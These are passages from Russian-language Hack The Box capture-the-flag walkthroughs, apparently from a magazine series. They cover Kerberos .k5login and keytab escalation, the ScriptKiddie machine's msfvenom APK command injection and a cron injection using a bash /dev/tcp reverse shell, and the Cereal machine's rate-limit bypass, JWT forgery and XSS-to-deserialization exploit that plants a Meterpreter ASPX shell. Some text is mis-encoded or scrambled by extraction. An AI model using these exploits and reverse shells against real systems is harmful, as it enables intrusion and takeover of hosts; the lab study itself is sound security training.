А так же мы дол жны ука зать наши учет ные дан ные в ./etc/krb5.conf

Блок libdefaults

Блок realms

Мы получи ли тикет с най ден ным паролем. Про веря ем.

kinit j.nakazawa 
klist 

По луче ние и про вер ка тикета

Те перь прос то под клю чаем ся по SSH от име ни поль зовате ля, учет ные дан ные
у нас спра шивать не дол жны.

Флаг поль зовате ля

Ïîëüçîâàòåëü 2

Шелл в сис теме мы получи ли, но пока что лишь на уров не поль зовате ля.
В повыше нии при виле гий мне не раз при ходи ли на помощь скрип ты ,
которые про веря ют все дос тупные вари анты эска лации. Запус каем на хос те
LinPEAS и обна ружи ваем в crontab задачу, которая выпол няет ся от име ни
поль зовате ля admin.

PEASS

За дача cron

Со дер жимое скрип та log_backup.sh

В запус каемом скрип те про исхо дит копиро вание из  
 А раз мы сос тоим в груп пе squid, это дает нам пра во соз- 

давать фай лы в этой дирек тории. Соз дадим файл , содер жащий имя
поль зовате ля, к которо му мы име ем тикет. Так пос ле копиро вания фай ла мы
получим дос туп к дан ному поль зовате лю.

/var/log/squid/
в ./home/admin

.k5login

Соз дание фай ла .k5login

Че рез некото рое вре мя, нуж ное для при мене ния нас тро ек, авто ризу емся
по SSH.

Кон текст поль зовате ля admin

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Сно ва запус каем LinPEAS и узна ем, что мы име ем дос туп к фай лу 
. Это файл таб лицы клю чей, где содер жатся пары имен субъ ектов

Kerberos и зашиф рован ные клю чи, получен ные из пароля Kerberos.

krb5.
keytab

Фай лы рута, дос тупные для чте ния

Ис поль зуя клю чевую таб лицу, мы можем добавить нового поль зовате ля
в механизм аутен тифика ции. Добав ляем, конеч но же, рут.

 kadmin -k -t /etc/krb5.keytab -p kadmin/admin@REALCORP.HTB 

Соз дание новой записи

А теперь аутен тифици руем ся с задан ным паролем.

Флаг рута

Го тово! Мы зах ватили машину и име ем над ней пол ный кон троль.
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SCRIPTKIDDIE

АТАКУЕМ 
ПРИ ПОМОЩИ METASPLOIT,

ЧТОБЫ ЗАХВАТИТЬ ХОСТ

METASPLOIT

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В Metasploit Framework тоже быва ют уяз- 
вимос ти, и в этой статье мы про экс плу ати- 
руем одну из них. Через баг в поль- 
зователь ском скрип те мы зах ватим дру гого
поль зовате ля, что при ведет к повыше нию
при виле гий. Все это и кое-что еще —
в рам ках про хож дения лег кой машины
ScriptKiddie с пло щад ки .Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

IP машины — 10.10.10.226, добав ляем его в :/etc/hosts

10.10.10.226  scriptkiddie.htb 

И ска ниру ем пор ты моим тра дици онным скрип том:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Ре зуль тат работы скрип та

От кры тых пор та два: 22 (служ ба SSH) и 5000 (Werkzeug). Паролей у нас нет,
поэто му на SSH пока что делать нечего. Будем «про бивать» порт 5000, где
нас встре чает стра ница с обе щающим заголов ком k1d'5 h4ck3r t00l5. Уже
инте рес но!

Стра ница k1d'5 h4ck3r t00l5

Стра ница поделе на на области, в каж дой из которых есть поля для вво да.
Пер вое поле при нима ет IP-адрес для ска ниро вания 100 пор тов с помощью
Nmap, вто рая область слу жит для генери рова ния наг рузки Meterpreter
с помощью MSFvenom и тре бует ука зать опе раци онную сис тему ата куемо го
хос та и IP хос та для отсту ка, при этом есть воз можность исполь зовать файл
шаб лона. В пос ледней области прос то выпол няет ся поиск экс пло итов
с помощью ути литы searchsploit.

При мер наг рузки, сге нери рован ной с помощью веб-сер виса

ÇÀÊÐÅÏËÅÍÈÅ

Здесь уже сто ит подумать о том, как получить RCE. Есть два пути:
тес тирова ние полей на воз можность инъ екций команд ОС, так как вве ден- 
ные дан ные будут переда ны как аргу мент к соот ветс тву ющей прог рамме
в коман дной стро ке;

•

тес тирова ние фор мы заг рузки фай ла.•

Так как тес тирова ние вто рого вари анта зай мет мень ше вре мени, сра зу нач- 
нем с него. Заг рузка фай лов .php и тому подоб ных резуль татов не дала,
поэто му перей дем к заг рузке более легитим ных фай лов — .apk. На сер вере
исполь зует ся Metasploit Framework, и в нем, что неуди витель но, тоже сущес- 
тву ют уяз вимос ти. Куда забав нее тот факт, что для MSF есть модули, которые
сами эти уяз вимос ти и экс плу ати руют.

Для мно гих типов наг рузок, которые пре дос тавля ет , он поз воля- 
ет поль зовате лю ука зать шаб лон (опция ). Даже если ты такую опцию
не исполь зуешь,  все рав но будет при менять свой шаб лон. Но в
модуле, который генери рует наг рузку с исполь зовани ем шаб лона фай ла APK,
есть уяз вимость, свя зан ная с внед рени ем команд. MSF генери рует наг рузку
сле дующим обра зом:

msfvenom
-x

msfvenom

1. В фун кции  ( ) исполь зует ся
 для извле чения поля  из под писи APK, а так же мет ки вре- 

мени.

parse_orig_cert_data ис ходный код
keytool Owner

2. В фун кции  исполь зует ся  для генери рова ния
нового клю ча под писи и самоза веря юще гося сер тифика та на осно ве све- 
дений, извле чен ных из фай ла APK ( ).

backdoor_apk keytool

ис ходный код
3. Да лее в той же фун кции  про исхо дит 

, при меня ется син такси чес кий ана лиза тор XML для 
, , , при меня ется
 для .

backdoor_apk де ком пиляция APK-
фай ла ана лиза фай ла
манифес та внед рение полез ной наг рузки пе рес борка APK
jarsigner под писи фай ла APK

Уяз вимость зак люча ется в исполь зовании ути литы  на вто ром шаге,
так как про исхо дит выпол нение через коман дную стро ку.

keytool

       
        
    

 

keytool -genkey -v -keystore #{keystore} -alias #{keyalias} -
storepass #{storepass} -keypass #{keypass} -keyalg RSA -keysize 2048
-startdate '#{orig_cert_startdate}' -validity #{orig_cert_validity} -
dname '#{orig_cert_dname}'

При этом зна чение  было получе но на эта пе 1, при ана лизе
исходно го APK и извле чении поля  из под писи APK. Эта коман да
переда ется в фун кцию , которая, если исполь зует ся все го
один параметр, работа ет, как и фун кция . Это дает воз можность
инжектить коман ды ОС, если поле  из под писи APK будет содер жать
оди нар ную кавыч ку и далее кон вей ер команд коман дной стро ки, завер- 
шающий ся сим волом ком мента рия ( ).

orig_cert_dname
Owner

Open3.popen3()
system()

Owner

#
Metasploit Framework поз воля ет нам соз дать шаб лон APK с уже встро- 

енным бэк дором. Для это го исполь зуем модуль
, а в качес тве

парамет ров нуж но ука зать лишь локаль ные адрес хос та и порт.
metasploit_msfvenom_apk_template_cmd_injection

msfconsole 
use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_
injection 

ip] set LHOST [
set LPORT [port]
run 

Ге нери рова ние шаб лона фай ла APK с бэк дором

Так как мы будем выпол нять бэк коннект, то сна чала необ ходимо соз дать лис- 
тенер, который будет при нимать соеди нение. Я буду исполь зовать 
и netcat.

rlwrap

apt install rlwrap 
 rlwrap nc -lvp [port] 

А теперь заг ружа ем сге нери рован ный файл и получа ем бэк коннект.

Заг рузка сге нери рован ного фай ла на сер вер

Флаг поль зовате ля

ÏÐÎÄÂÈÆÅÍÈÅ

Ра ботать через обыч ную обо лоч ку удоб нее, поэто му забира ем поль зователь- 
ский ключ SSH и уже с ним перепод клю чаем ся. Для раз ведки на хос те могут
помочь  — они есть как для Windows, так и для Linux. Берем
вари ант для Linux:

скрип ты PEASS

wget https://github.com/carlospolop/privilege-escalation-awesome-
scripts-suite/blob/master/linPEAS/linpeas.sh 

И заг ружа ем его на уда лен ный хост. В дирек тории со скрип том на локаль ной
машине запус тим с помощью  прос той веб-сер вер. Пос ле выпол нения
дан ной коман ды веб-сер вер будет прос лушивать порт 8000.

python

python3 -m http.server 

А теперь с помощью того же  на целевой машине заг рузим скрипт
с локаль ного хос та на уда лен ный. Пос ле заг рузки необ ходимо дать пра во
на выпол нение и выпол нить скрипт.

wget

wget http://[ip_локального_хоста]:8000/linpeas.sh 
chmod +x linpeas.sh 
./linpeas.sh 

В выводе получим очень мно го информа ции, поэто му важ но выб рать нуж ное,
в дан ном слу чае — дос тупные фай лы в домаш них дирек тори ях дру гих поль- 
зовате лей. А еще важ нее, что там нашел ся скрипт на Bash под наз вани ем

.scanlosers.sh

Фай лы в домаш ней дирек тории поль зовате ля pwn

Со дер жимое фай ла scanlosers.sh

Он дела ет сле дующее: откры вает файл , берет
отту да IP-адре са и переда ет в Nmap. При этом мы име ем пра во записи в дан- 
ный файл.

/home/kid/logs/hackers

Пра ва на файл hackers

Ма нипу лиро вание дан ными, которые далее исполь зуют ся в дру гом скрип те,
поз волит нам вновь про вес ти ата ку OS command injection. Давай пос мотрим,
как час то запус кает ся этот файл. Для отсле жива ния про цес сов будем исполь- 
зовать . Заг рузим его на хост тем же спо собом, что и , а потом
выпол ним. В выводе находим отоб ражение запус ка най ден ного скрип та, но,
что более инте рес но, он запус кает ся в кон тек сте поль зовате ля с UID 1001,
а это поль зователь .

pspy64 linpeas

pwn

# Скачиваем на локальный хост
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/
pspy64 

# Затем на удаленный
wget http://[ip_локального_хоста]:8000/pspy64 
chmod +x pspy64 
./pspy64 

Вы вод ути литы pspy64

Вы ходит, зах ватить дру гого поль зовате ля сов сем лег ко. Давай запишем
в файл стро ку, которой мы завер шим коман ду Nmap, выпол ним реверс-шелл
и заком менти руем оставши еся сим волы (не забыва ем акти виро вать лис- 
тенер).

  ;/bin/bash -c 'bash -i >& /dev/tcp/[ip]/[port] 0>&1' #

Но вое содер жимое фай ла hackers

Пос ле сох ранения уви дим бэк коннект.

Бэк коннект от име ни поль зовате ля pwn

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Пер вым делом про веря ем наибо лее веро ятные мес та повыше ния при виле- 
гий: нас трой ки sudoers, при ложе ния с выс тавлен ным битом SUID, прос- 
лушива емые на локал хосте пор ты. Но нам везет еще на пер вом шаге:
при вво де коман ды .sudo -l

Нас трой ки sudoers

В нас трой ках sudoers про писан при виле гиро ван ный запуск 
без пароля (NOPASSWD). Выходит, не нуж но даже ничего при думы вать, так
как кон соль  дает нам шелл.

msfconsole

msf

sudo /opt/metasploit-framework-6.0.9/msfconsole 

Флаг рута

А это зна чит, что машина зах вачена и мы выпол нили задачу.
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СКАНИРУЕМ САЙТ В ОБХОД ОГРАНИЧЕНИЙ,
ЭКСПЛУАТИРУЕМ XSS В MARKDOWN

И ПОДДЕЛЫВАЕМ СИСТЕМНУЮ УЧЕТКУ
WINDOWS

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этой статье мы прой дем машину Cereal
с пло щад ки . На ее при мере я
покажу, как обхо дить X-Rate-Limit-Limit
при ска ниро вании веб-сай та. Заод но ты
узна ешь, как с помощью XSS в Markdown
и десери али зации объ екта С# получить
уда лен ное выпол нение кода. Пос ле чего
порабо таем с тех нологи ей GraphQL и под- 
дела ем учет ную запись System в Windows
при помощи при виле гии SeImpersonate
Privilege.

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

IP машины — , добав ляем его в .10.10.10.217 /etc/hosts

10.10.10.217    cereal.htb 

И перехо дим к ска ниро ванию пор тов:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Ре зуль тат работы скрип та

В резуль тате работы скрип та узна ем спи сок откры тых пор тов и работа ющих
служб:

порт 22 (TCP) — служ ба SSH;•
порт 80 (HTTP) — веб-сер вер Microsoft IIS/10.0;•
порт 443 (HTTPS) — веб-сер вер Microsoft IIS/10.0.•

SSH пока что про пус каем, пос коль ку учет ных дан ных у нас нет. Веб-сер вер
с 80-го пор та перенап равля ет на 443-й порт. При этом в SSL-сер тифика те
ука зано домен ное имя  — тоже добав ляем его в 

.
source.cereal.htb /etc/

hosts

10.10.10.217    source.cereal.htb 

Ñêàíèðîâàíèå âåáà

Те перь выпол няем зап рос в бра узе ре, и нас перено сит с 80-го пор та на 443-
й, затем зас тавля ют под твер дить, что мы при нима ем рис ки, свя зан ные
с безопас ностью. Опас ность будет про исхо дить как раз от нас, так что
без проб лем под твержда ем. И попада ем на фор му авто риза ции.

Фор ма авто риза ции на сай те cereal.htb

Ес ли же обра тить ся по най ден ному домен ному име ни, то получим ошиб ку
.Server Error in '/' Application

Ошиб ка на сай те source.cereal.htb

Нам не дос тупно поч ти ничего инте рес ного, а зна чит, сле дует при бег нуть
к перебо ру катало гов. Для это го есть такие прог раммы, как , 
и , который я и исполь зую, пос коль ку он показал себя как самый быс- 
трый.

dirsearch DIRB
gobuster

Вот коман да, которую я исполь зовал:

  128  

 30s 

gobuster dir -t -u https://cereal.htb/ -k -w /usr/share/seclists/
Discovery/Web-Content/raft-large-words-lowercase.txt -x php,html,
aspx --timeout

А вот что озна чает каж дый параметр:
 — ска ниро вание дирек торий и фай лов;• dir

 — количес тво потоков;• -t []
 — URL-адрес для ска ниро вания;• -u []

 — не про верять сер тификат;• -k
 — сло варь для перебо ра;• -w []

 — вре мя ожи дания отве та;• --timeout []
 — искать фай лы со сле дующи ми рас ширени ями (ука зыва ем ASPX,

пос коль ку целевой веб-сер вер работа ет на Microsoft IIS).
• -x []

Но при попыт ке переб рать скры тые катало ги на сай те  мы получа- 
ем бан, что может озна чать наличие WAF. Давай про верим, так ли это.
Для это го отпра вим зап рос на авто риза цию и перех ватим его в Burp, пос ле
чего перенап равим в Repeater (ком бинация Ctrl + R) и пос мотрим ответ.

cereal.htb

Зап рос в Burp Repeater

В отве те видим заголов ки  и .
Дан ные заголов ки сооб щают, что на пять минут у нас оста лось 149 зап росов.
Мож но поп робовать обой ти огра ниче ние, вста вив в зап рос сле дующие
заголов ки:

X-Rate-Limit-Limit X-Rate-Limit-Remaining

X-Originating-IP: 127.0.0.1•
X-Forwarded-For: 127.0.0.1•
X-Remote-IP: 127.0.0.1•
X-Remote-Addr: 127.0.0.1•
X-Client-IP: 127.0.0.1•
X-Real-Ip: 127.0.0.•
X-Host: 127.0.0.1•
X-Forwared-Host: 127.0.0.1•

Из это го сра ботал : если добавить этот заголо вок, то в отве те
будут отсутс тво вать хедеры  и 

.

X-Real-Ip
X-Rate-Limit-Limit X-Rate-Limit-

Remaining

Зап рос в Burp Repeater с исполь зовани ем заголов ка X-Real-Ip

Ска ниру ем пов торно, уже с исполь зовани ем  (опция ), и стал- 
кива емся с дру гой проб лемой: сер вер на зап росы несущес тву ющих стра ниц
не отве чает кодом ошиб ки, а радос тно воз вра щает  («Успешный резуль- 
тат»).

X-Real-Ip -H

200

  128  

 30s   

gobuster dir -t -u https://cereal.htb/ -k -w /usr/share/seclists/
Discovery/Web-Content/raft-large-words-lowercase.txt -x php,html,
aspx --timeout -H 'X-Real-Ip: 127.0.0.1' --wildcard

В таком слу чае сто ит выб рать дру гой кри терий оцен ки, к при меру раз мер
отве та в бай тах — для сущес тву ющей и несущес тву ющей стра ницы он будет
раз ным. Для ска ниро вания возь мем , пос коль ку он уме ет исклю чать
из вывода отве ты в зависи мос ти от их раз мера (опция ).

ffuf
-fs

ffuf   -H 'X-Real-Ip: 127.0.0.1' -w /usr/share/seclists/Discovery/Web-
Content/raft-large-words-lowercase.txt -u https://cereal.htb/FUZZ -fs
1948 

Ре зуль тат ска ниро вания катало гов с помощью ffuf

На ходим толь ко одну стра ницу, которая пред положи тель но дол жна при- 
нимать опре делен ные парамет ры. Для ска ниро вания дру гого сай та, где нам
встре тилась ошиб ка, исполь зуем gobuster, бла го там нет никаких бло киров- 
щиков.

  128  

 30s 

gobuster dir -t -u https://source.cereal.htb/ -k -w /usr/share/
seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -x php,
html,aspx --timeout

Ре зуль тат ска ниро вания катало гов с помощью ffuf

Нам попал ся каталог , а это зна чит, что мы можем попытать ся ска чать
весь репози торий.

.git

ÒÎ×ÊÀ ÂÕÎÄÀ

Для заг рузки репози тори ев я обыч но исполь зую пакет скрип тов .
Запус каем  со сле дующи ми аргу мен тами:

dvcs-ripper
rip-git

 — не про верять сер тификат;• -s
 — вес ти логиро вание;• -v
 — URL репози тория.• -u

  ./rip-git.pl -s -v -u https://source.cereal.htb/.git/ 

Ре зуль тат ска ниро вания Git-репози тория

Да вай гля нем исто рию ком митов. Для ана лиза и раз бора репози тори ев Git я
обыч но исполь зую . Прос матри вая код ,
находим сек рет JWT, а так же дан ные, из которых фор миру ется JWT, — это ID
поль зовате ля и дата через семь дней.

Gitk Services/UserService.cs

Код Services/UserService.cs (ключ JWT)

Код Services/UserService.cs (фор мирова ние JWT)

JSON Web Token сос тоит из трех час тей: заголов ка (header), полез ной наг- 
рузки (payload) и под писи. Заголо вок и полез ная наг рузка пред став ляют
собой объ екты JSON, а наг рузка может быть любой — это имен но те кри- 
тичес кие дан ные, которые переда ются при ложе нию. У заголов ка есть сле- 
дующие поля:

 — алго ритм, исполь зуемый для под писи/шиф рования. Явля ется обя- 
затель ным клю чом;

• alg

 — тип токена. Это поле дол жно иметь зна чение ;• typ JWT
 — тип содер жимого.• cty

Тре тий эле мент вычис ляет ся на осно вании пер вых двух и зависит от выб- 
ранно го алго рит ма. Токены могут быть переко диро ваны в ком пак тное пред- 
став ление: к заголов ку и полез ной наг рузке при меня ется алго ритм кодиро- 
вания Base64-URL, пос ле чего добав ляет ся под пись и все три эле мен та раз- 
деля ются точ ками. Вот при мер токена, взя тый из Википе дии.

При мер струк туры JWT

Поп робу ем сге нери ровать себе токен. Для это го нам понадо бит ся либо при- 
ложе ние , либо сер вис . Я исполь зовал jwt_tool. Так как с заголов- 
ком все ясно, давай раз берем ся с дан ными: ключ  будет содер жать
иден тифика тор , а ключ  — текущую дату плюс семь дней.

jwt_tool jwt.io
name

1 exp

   +%s date -d "+7 days"
   |    echo -n '{"name": "1", "exp":[дата]}' base64 -w0 ; echo
   |    echo -n '{"alg": "HS256", "typ":"JWT"}' base64 -w0 ; echo

  
 

python3 jwt_tool.py -b -S hs256 -p 'secretlhfIH&
FY*#oysuflkhskjfhefesf' [заголовок].[данные]. 

Ге нери рова ние JWT

У нас есть токен для дос тупа, но стра ница  тре бует парамет ры
в фор мате JSON, о чем сви детель ству ют класс  в фай ле 

 и фун кция  из фай ла 
.

requests
Request Models/

Request.cs requestCereal ClientApp/src/_services/
request.service.js

Класс Request

Фун кции requestCereal и getCerealRequests

Ана лизи руя исходни ки далее, узна ем и сами парамет ры из фай ла 
.

ClientApp/
src/AdminPage/AdminPage.jsx

Фун кция render

Так, параметр  содер жит в себе дру гие парамет ры в фор мате JSON. Нам
нуж но передать , ,  и . Но, что важ нее, мы
можем экс плу ати ровать XSS в Markdown:

json
title description color flavor

[a](javascript:eval('evil code')) 

А при обра щении с прис воен ным  у нас при мут сери али зован ные дан ные,
о чем говорят метод  из фай ла 
и  из фай ла .

id
Get Controllers/RequestsController.cs

DownloadHelper.cs DownloadHelper.cs

Ме тод Get

На ходим спо соб заг рузить файл на сер вер. Для это го нуж но задать URL фай- 
ла и путь для его сох ранения.

Класс DownloadHelper

Продолжение статьи →
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https://jwt.io/


HTB CEREAL
СКАНИРУЕМ САЙТ В ОБХОД ОГРАНИЧЕНИЙ,

ЭКСПЛУАТИРУЕМ XSS В MARKDOWN
И ПОДДЕЛЫВАЕМ СИСТЕМНУЮ УЧЕТКУ

WINDOWS

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÇÀÊÐÅÏËÅÍÈÅ

Да вай соберем все воеди но:
1. Есть XSS в Markdown, что поз воля ет выпол нить код на JavaScript.
2. Этот код на JS дол жен получить ID и затем передать сери али зован ные

дан ные.
3. Есть класс , который заг ружа ет файл на диск. Его нуж но

сери али зовать и передать в качес тве дан ных. Перемен ные это го клас са
дол жны ука зывать URL фай ла на нашем хос те и путь к сох ранению в дирек- 
торию .

DownloadHelper

uploads
4. На сво ем веб-сер вере раз меща ем любой шелл на ASPX, который будет

заг ружен на уда лен ный хост, что даст нам уда лен ное выпол нение кода
(RCE).

Экс пло ит я буду писать на Python 3. Сна чала наб роса ем «обо лоч ку». Сра зу
нуж но под клю чить  для отклю чения про вер ки сер- 
тифика та, ука зать URL и JWT, а перемен ную, которая содер жит код на JS, пока
оста вим пус той. Кодиру ем этот скрипт в Base64 и отправ ляем парамет ры
в фор мате JSON. В качес тве наг рузки переда ем фун кцию , в которой
будет декоди ровать ся и выпол нять ся основной код на JS.

InsecureRequestWarning

eval

 import requests
   from urllib3.exceptions import InsecureRequestWarning
 import base64

requests.packages.urllib3.disable_warnings(category=
InsecureRequestWarning)

  URL = 'https://cereal.htb/requests'
  jwt = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.

eyJuYW1lIjoiMSIsImV4cCI6MTYxMjYzNTYzOX0.Po0faLvaEqnCJFk7

js = ''
js_payload = base64.b64encode(js.encode('utf-8'))

 
data = {'json': '{"title":"[a](javascript: eval(atob(%22' + 
js_payload.decode('utf-8') + '%22%29%29)", "
headers = {'Authorization': 'Bearer ' + jwt}
r = requests.post(URL, headers=headers, json=data, verify=False)
print(r.text)

Те перь сде лаем JS-наг рузку. В ней мы будем выпол нять зап рос для получе- 
ния ID и еще один пов торный зап рос — для отправ ки дан ных. Этот код дол жен
быть ука зан выше, в перемен ной .js

   var jwt = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJuYW1lIjoiMSIsImV4cCI6MTYxMjYzNTYzOX0.
Po0faLvaEqnCJFk7UDmYkb6V4v7YmuqQmxjXaG1MPk0';

   var targeturl = 'https://cereal.htb/requests';
    var req = new XMLHttpRequest;

    var cs_payload = JSON.stringify({"json": ''});
   req.onreadystatechange = function() {

       if (req.readyState == 4) {
          var id = JSON.parse(this.responseText).id;
          req2 = new XMLHttpRequest;

             req2.open('GET', targeturl + "/" + id, false);
          req2.setRequestHeader("Authorization", "Bearer " + jwt);

       req2.send();
   }
}

  req.open('POST', targeturl, false);
   req.setRequestHeader("Authorization", "Bearer " + jwt);
 req.setRequestHeader('Content-type', 'application/json');

req.send(cs_payload);

Се риали зован ный класс, содер жащий URL фай ла на нашем сер вере и путь
для заг рузки на уда лен ном сер вере, будет выг лядеть сле дующим обра зом.

{"$type":"Cereal.DownloadHelper, Cereal","URL":"http://10.10.14.20/r.
aspx","FilePath":"C:/inetpub/source/uploads/r.aspx"}

В качес тве шел ла будем исполь зовать заг рузчик  из Meterpreter, который
мы сге нери руем с помощью . В качес тве парамет ров ука зыва ем
наг рузку, локаль ный адрес и порт, а так же фор мат — .

aspx
msfvenom

aspx

4321 
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.20 
LPORT= -f aspx -o r.aspx 

В текущей дирек тории акти виру ем прос той веб-сер вер — .python3

sudo python3 -m http.server 80 

И в дру гом тер минале запус каем лис тенер Metasploit.

msfconsole 
handler -p windows/x64/meterpreter/reverse_tcp -H 10.10.14.20 -P 4321 

За пуск лис тенера msfconsole

Ни же при веду пол ный код экс пло ита. Пос ле его выпол нения спус тя некото- 
рое вре мя в логах веб-сер вера обна ружим заг рузку шел ла.

 import requests
   from urllib3.exceptions import InsecureRequestWarning
 import base64

requests.packages.urllib3.disable_warnings(category=
InsecureRequestWarning)

  URL = 'https://cereal.htb/requests'
  jwt = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.

eyJuYW1lIjoiMSIsImV4cCI6MTYxMjYzNTYzOX0.
Po0faLvaEqnCJFk7UDmYkb6V4v7YmuqQmxjXaG1MPk0'

  js = """var jwt = ‘eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJuYW1lIjoiMSIsImV4cCI6MTYxMjYzNTYzOX0.
Po0faLvaEqnCJFk7UDmYkb6V4v7YmuqQmxjXaG1MPk0';
var targeturl = 'https://cereal.htb/requests';

var req = new XMLHttpRequest;
var cs_payload = JSON.stringify({"json": '{"$type":"Cereal.
DownloadHelper, Cereal","URL":"http://10.10.14.20/r.aspx","FilePath":
"C:/inetpub/source/uploads/r.aspx"}'});

req.onreadystatechange = function() {
   if (req.readyState == 4) {
       var id = JSON.parse(this.responseText).id;
       req2 = new XMLHttpRequest;
       req2.open('GET', targeturl + "/" + id, false);
       req2.setRequestHeader("Authorization", "Bearer " + jwt);
       req2.send();
   }
}
req.open('POST', targeturl, false);
req.setRequestHeader("Authorization", "Bearer " + jwt);
req.setRequestHeader('Content-type', 'application/json');
req.send(cs_payload);"""

  js_payload = base64.b64encode(js.encode('utf-8'))
     

  
data = {'json': '{"title":"[a](javascript: eval(atob(%22' +
js_payload.decode('utf-8') + '%22%29%29)", "flavor":"a", "color":
"#000", "description":"a"}'}

     headers = {'Authorization': 'Bearer ' + jwt}
     r = requests.post(URL, headers=headers, json=data, verify=False)

print(r.text)

Вы пол нение экс пло ита

Лог веб-сер вера Python

Наш файл ока зыва ется на сер вере, и при обра щении к нему мы сра зу
получим сес сию Metasploit, при чем сра зу от име ни поль зовате ля.

По луче ние сес сии Metasploit и фла га поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

По лучив шелл, пер вым делом обра щаем вни мание на при виле гии текуще го
поль зовате ля. У него вклю чена  — пра во «оли цет- 
ворять кли ента пос ле про вер ки под линнос ти». Как говорит Microsoft:

SeImpersonatePrivilege

Ïðèñ âîåíèå ïîëü çîâàòå ëþ ïðà âà «Îëè öåò âîðÿòü êëè åíòà ïîñ ëå ïðî- 

âåð êè ïîä ëèííîñ òè» ðàç ðåøà åò ïðîã ðàììàì, çàïóùåí íûì îò èìå íè

äàí íîãî ïîëü çîâàòå ëÿ, îëè öåò âîðÿòü êëè åíòà. Èñïîëü çîâàíèå äàí íîãî

ïàðàìåò ðà ïðå äîò âðà ùàåò îëè öåò âîðåíèå íåàâ òîðèçî âàí íûìè ñåð- 

âåðàìè êëè åíòîâ, ïîä êëþ ÷àþùèõ ñÿ ê ýòèì ñåð âåðàì ñ ïîìîùüþ ïðî- 

öåäóð RPC èëè èìå íîâàí íûõ êàíàëîâ.

Дру гими сло вами, эта при виле гия поз воля ет ими тиро вать любой токен, дес- 
крип тор которо го мы смо жем получить.

При виле гии текуще го поль зовате ля

Это явный век тор повыше ния при виле гий! Для это го обыч но исполь зует ся
одна из прог рамм серии , а какая имен но — зависит от исполь зуемых
служб и про токо лов. В спис ке активных пор тов най дем 8080-й, работа ющий
в кон тек сте .

Potato

System

Спи сок прос лушива емых пор тов

Ско рее все го, это HTTP, поэто му для про вер ки будем тун нелиро вать тра фик
это го пор та на свой локаль ный. Meterpreter поз воля ет нам это сде лать.
Теперь все зап росы на наш порт 8888 будут пере адре сова ны на уда лен- 
ный 8080-й (поз же про изой дет сброс соеди нения, и новый порт будет 

 Заходим на localhost:8888, и нас встре чает какая-то таб лица.8889-м).

portfwd add -l 8888 -p 8080 -r 127.0.0.1 

Сайт, работа ющий на локаль ном пор те 8080 сер вера

Прос матри вая исходный код на пред мет исполь зуемых тех нологий, обна- 
ружи ваем GraphQL, точ нее, исполь зование метода  для получе ния
и встав ки дан ных в таб лицу.

allPlants

Ис ходный код сай та

В двух сло вах, GraphQL — это язык зап росов, который кли ент ские при ложе- 
ния час то исполь зуют для работы с дан ными. Про буем выпол нить зап рос раз- 
ными метода ми HTTP и сра зу опре деля ем, что изна чаль но тре бует ся POST-
параметр.

Оп ределе ние метода и наличия парамет ров зап роса

Вы пол нение зап роса методом POST с переда чей пус тых дан ных

C GraphQL свя зано такое понятие, как «схе ма», — это то, что поз воля ет орга- 
низо вывать соз дание, чте ние, обновле ние и уда ление дан ных в при ложе нии.
Давай получим дан ные  и отфиль тру ем име на типов, это мож но сде- 
лать, передав в парамет ре  зап рос .

__schema
query {__schema{types{name}}}"}

curl    

name  

-X POST -H "Content-Type: application/json" --data-binary '{
"query":"{__schema{types{name}}}"}' http://localhost:8888/api/
graphql | grep ; echo

По луче ние дан ных __schema

В отве те находим исполь зуемый для зап роса тип  и для встав ки — тип
. Теперь сто ит прос мотреть исполь зуемые в них поля. Для это го

будем зап рашивать не  (как в прош лом зап росе), а .

Query
Mutation

name name fields{name}

curl    -X POST -H "Content-Type: application/json" --data-binary '{
"query":"{__schema{types{name fields{name}}}}"}' http://localhost:
8889/api/graphql  | jq 

По луче ние наз вания полей

Нас боль ше все го инте ресу ет , так как он поз воля ет манипу лиро- 
вать дан ными. Он име ет три метода: , 
и . Взгля нем на аргу мен ты каж дого метода. В зап росе ука зыва- 
ем тип  ( ) и зап рашива ем имя метода
и его аргу мен ты ( ).

Mutation
haltProduction resumeProduction

updatePlant
Mutation __type(name: "Mutation")

{name fields{name args{name}}}

curl    -X POST -H "Content-Type: application/json" --data-binary '{
"query":"{__type(name: "Mutation"){name fields{name args{name}}}}"}' 
http://localhost:8889/api/graphql  |jq 

Ар гумен ты каж дого метода

Вот это уже инте рес но. Метод  при нима ет параметр  целево го
объ екта для изме нения и , отку да, видимо, будут получе ны дан ные. То есть
мы можем спро воци ровать ини цииро вание кли ентом зап роса на ука зан ный
адрес. При этом у нас есть опас ная при виле гия, с помощью которой мы
можем изоб ражать кли ента (в дан ном слу чае System)! Для выпол нения такой
